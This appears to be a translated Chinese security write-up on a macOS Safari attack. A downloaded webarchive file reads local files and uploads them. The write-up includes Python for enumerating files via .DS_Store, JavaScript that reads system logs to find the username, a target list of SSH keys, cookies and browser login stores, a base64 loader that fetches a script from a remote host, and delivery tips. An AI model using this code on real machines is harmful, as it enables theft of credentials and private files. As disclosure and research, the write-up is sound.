文档、源码、ssh密钥、密码等等所有的这些文件都可以传送过去。不可能吗？当然是可能的。一些常用的浏览器可能正在这样做。

通常情况下，攻击者的攻击流程大致如下：

1. 用户在浏览器中打开html文件
2. 浏览器读取用户有权限访问的文件列表。
3. 浏览器读取重要文件，并且将他们上传到攻击者启动的远程服务器中，这一过程会在后台进行，并且不会通知用户。

现在我们将这一过程分成几个阶段：

阶段一:在当前用户计算机上收集关于文件的信息。
阶段二：读取文件，将文件上传到远程服务器上。

在阶段一中，攻击者需要得到文件列表。这一步骤不是那么容易解决的，通常来讲，开发者不会允许html页面读取文件夹内容，或者获取当前路径。猜测以及尝试所有可能的路径也不是一个好的选择。虽然一些文件的路径是通用的，比如~/.ssh/id_rsa，但是大部分文件在不同系统中存放的位置是不同的。

假设我们已经将第一阶段中的限制绕过，那么在第二阶段攻击者需要对浏览器的沙箱进行逃逸，进而对文件读取，将其上传到远程服务器。

得到目录列表

macOS不同Windows以及Linux，它具有一个很有趣的属性，当目录被访问时，操作系统会产生隐藏文件:.DS_Store.

这一文件会保存文件浏览会话信息，包括浏览文件窗口的大小以及位置，查看属性和所选图标等信息。这一文件是自动生成的，主要目的是为了快速简单的获取到文件夹信息。

.DS_Store和windows下面的Thumbs.db功能类似，不过.DS_Store中还包含了文件夹以及文件名字。一旦文件夹打开，.DS_Store.

这就非常有趣了，可以通过解析.DS_Store文件很容易获取到文件夹中文件名字。举个例子，下方python代码就可以做到这一点:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = ‘/Users/USERNAME/.DS_Store’
def parse(file):
    filelist = []
    for i in file:
    if i.filename!=’.’:
        filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, ‘r+’)
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’)
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass

将其命名为parse_ds_store.py,执行结果如下:

$ python parse_ds_store.py

[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]

可以看到，我已经得到我当前目录的文件名，这就意味着，我们可以通过递归访问.DS_Store文件获取我电脑上所有具有权限的文件目录结构。
举个例子，在电脑当前目录使用这种方法，在~/.DS_Store中，我们得到如下返回:

[“Backups","Soft","Pictures",".ssh"...][

然后在Backups文件夹中，我们得到：

[“2017”, “2016”, “2015”, …]

进而在访问~/Backups/2017/.DS_Store，得到

[“source”, “sql”, “static”, …]

以此类推。

有两点需要提醒:
1.攻击者需要知道当前系统的用户名称。
2..DS_Store文件只有当用户有权限访问这一文件夹时，才会创建。

如果解决了上述两个问题，那么我们第一阶段攻击算是成功了。

预测有价值信息的文件路径

什么是有价值的信息呢？首先应该关心的是.ssh文件，他存储了密码加密系统的密钥目录。大致内容如下：

~/.ssh/id_rsa;
~/.ssh/id_rsa.key;
~/.ssh/id_rsa.pub;
~/.ssh/known_hosts;
~/.ssh/authorized_keys;

还有.bash_history，它可以让攻击者知道用户之前执行的命令。

存储cookie文件

现在，我们开始找存储cookie的文件，首先，macOS会将账户数据放在一个固定地方：

~/Library/Cookies/Cookies.binarycookies
~/Library/Cookies/com.apple.Safari.cookies

twitter，Skype以及其他应用程序的cookie都可以在这一文件夹中找到。

我们进行到这一步时，还可以对返回HSTS协议的网站列表进行传输。

~/Library/Cookies/HSTS.plist

另外一个有用的文件是关于系统账户信息的文件：

~/Library/Accounts/Accounts4.sqlite

我们还可以在列表中查找其他有用的东西，可能会有意外的收获。

~/Library/Application Support/

举个例子，我们还可以进而找到chrome存储的登录数据以及cookie:

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

如果运气好的话，还可以找到ftp/sql客户端的登录信息，历史记录，以及日志信息。

悄无声息的访问用户文件

已经了解到了可以访问到哪些重要的文件，现在让我们尝试从safari访问到这些文件吧。

在chrome中，读取本地文件并不是一件很容易的事情，除非在打开chrome中使用--disable-web-security参数。

Safari同样也会警告不能同本地文件一同使用，比如:file://协议

但是如果文件是从互联网上下载的，safari就会放宽它的验证机制，因此我们可以使用XHR请求本地文件，进而返回文件内容：

如果文件存在，那它就会执行成功。
了解了safari这种特性，我们就可以使用绝对路径去读取文件全部信息，然后将其上传到远程服务端。

但是有一点需要注意，如果我们不知道本机用户名，那么我们就无法得到绝对路径。用户名也是一个难题，比如在/etc/passwd中并不包含用户名信息。

要解决这一问题，可以通过查看系统产生的两个日志文件:/var/log/system.log和/var/log/install.log.在这两个文件中，用户名是可以被找到的。将文件加载到浏览器中，通过正则表达式可以对用户名进行提取。

下方JS代码就是从日志文件中提取所有用户名的代码：

function getUser() {
 var xhr = new XMLHttpRequest();
 try {
 xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 } catch (e) {
 xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 }
}

得到文件

攻击者通过文章介绍的第一部分内容之后，下一步就是得到这些文件。只是看看它是如何工作的，我们可以创建一个后端进行简单的接收文件内容以及路径。如果文件为.DS_Store，我们可以使用进一步进行补充。

进一步优化的话，可以利用黑/白名单的机制防止上传大文件，或上传指定类型文件，比如.docx。

但是，系统中如果有其他浏览器呢？这会不会意味着html文件会通过chrome或者opera浏览器打开，降低了攻击效率呢？

为了避免这类问题，我们可以将文件后缀名改为XHTM，这一文件只能由safari打开。

XHTM的定义很清晰，是基于XML的JS内置网页。解释起来有点复杂，它有两种支持的格式，每种都可以进行手动伪造：

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version=”1.0">
<dict>
 <key>WebMainResource</key>
 <dict>
 <key>WebResourceData</key>
 <data>
 PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
 vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
 wvYm9keT48L2h0bWw+
 </data>
 <key>WebResourceFrameName</key>
 <string></string>
 <key>WebResourceMIMEType</key>
 <string>text/html</string>
 <key>WebResourceTextEncodingName</key>
 <string>UTF-8</string>
 <key>WebResourceURL</key>
 <string>file:///</string>
 </dict>
</dict>
</plist>

数据为Base64页面，每行包含59个符号

如何解决数据来源问题？

默认情况下，通过互联网下载的文件都具有执行保护:

这就意味着电子邮件中的附件可能不会执行，不过有个好消息是，不是所有的下载文件都具有保护机制。举个例子，MacOS版本的Telegram就没有保护机制，可以直接执行。在一些实践之后，我们通过telegram桌面版本进行传送恶意XHTM，进而解除执行限制。

这只是一个简单例子，其他类似的情况也是可能的。举个例子，你可以通过一个装有家庭照片的U盘进行传播。
如果你想尝试一下这一例子，你可以在我的github(https://github.com/Bo0oM/Safiler)上找到PoC进行实验。

该怎么办？

在这个时候，作为一个Safari用户，你不能做任何事情。显然，苹果不认为这个问题是安全漏洞。我们还没有了解到有补丁来解决这一问题。
所以需要保持警惕，并且非常小心你从互联网上下载的文件。唯一要做的就是不要使用Safari浏览器。